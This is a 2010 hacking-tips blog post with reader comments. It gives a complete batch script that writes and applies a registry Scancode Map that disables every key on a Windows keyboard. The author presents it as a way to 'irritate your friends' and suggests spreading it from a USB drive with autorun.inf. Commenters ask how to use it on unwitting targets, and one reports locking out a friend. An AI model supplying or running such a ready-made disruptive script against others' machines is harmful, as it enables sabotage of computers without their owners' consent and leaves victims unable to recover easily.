Wednesday 8th of September 2010

How To Disable The Keyboard Using Batch Script

May 23, 2010 by Suraj Kayastha  
Filed under Articles, Batch Scripting

Yesterday one of the visitor of our blog, jose, asked,  “how to disable keyboard?”. And instantly I came up with this tutorial, how to disable the keyboard using batch script.

Just copy and paste the code below in notepad and save it as “anything.bat”. What it exactly does is modifies the registry value of keyboard layout of each keys and finally disabling all the keys.

@echo off
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start nokeyboard.reg

This will disable the keyboard with no hard work. You can try above code to irritate your friends along with autorun.inf in your USB disk.

Hope this tutorial was helpful.

UPDATE: To disable this go to Start> Run and type regedit . This will open the registry editor. In the left tree explorer, navigate to following place:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout

Delete the Scancode Map key by simply using right click and delete.


This is guest post from Suraj Kayastha at Hack Tutors and YouCanHack. blogs , where he writes about various technology.



Best of PC Hacks

Related Posts



You can get our articles in your email inbox each day for free. Just enter your email below:

FeedBurner

Comments

13 Comments on "How To Disable The Keyboard Using Batch Script"

  1. jose on Mon, 24th May 2010 2:18 am 

    thank you

  2. jose on Mon, 24th May 2010 2:24 am 

    how do i use autorun.inf to autorun 2 or more items so i can disable both the keyboard and mouse incase the person i wana get has a shortcut to on-screen keyboard

  3. Sardar on Mon, 24th May 2010 10:10 am 

    Hey dude,
    I see you know how to work with hex, and i wanted to ask you if its possible to change game files with using hex editors, im trying to open a private server and if i can edite the game file it would be the best thing

    I hope you can help me,
    Best Regards Sardar

  4. Ross on Mon, 24th May 2010 3:42 pm 

    I have used this to disable a friend’s keyboard. Much to their dismay i do not know how to undo this trick. Please help!

  5. Amresh Kumar on Mon, 24th May 2010 5:30 pm 

    This thing is really cool. yaar! I want to learn batch scripting Do you have any recomendation for me ……?

  6. Internal Heat on Tue, 25th May 2010 11:43 am 

    This is quite cool.! but how can I undo it?

  7. Suraj Kayastha on Tue, 25th May 2010 2:46 pm 

    refer to the update of the article,

    Regards
    suraj kayastha
    YouCanHack Blog

  8. jeff on Sat, 29th May 2010 12:33 am 

    how do i get it to autorun in usb?

  9. Ali on Sun, 30th May 2010 8:19 am 

    its not working yaar. I copied and pasted the same script in notepad and saved it with name anything.bat but it didn’t worked. where to save it? and whole script is to copy?

  10. bob on Tue, 8th Jun 2010 8:53 pm 

    How do you reaenable the keyboard if you cant type in regedit in the start menu?

  11. scrapbook.maxforum.org on Mon, 21st Jun 2010 1:24 pm 

    @bob
    use mouse and also open osk on screen keyboard by mouse.this would help

  12. sanket on Thu, 24th Jun 2010 2:49 pm 

    this file i saved as anything.bat in notepad but it was not worked. please tell me a proper mathod..

  13. sanket on Fri, 25th Jun 2010 7:52 am 

    sorry dude it wass worked after the restart…

Tell us what you're thinking...
and oh, if you want a pic to show with your comment, go get a gravatar!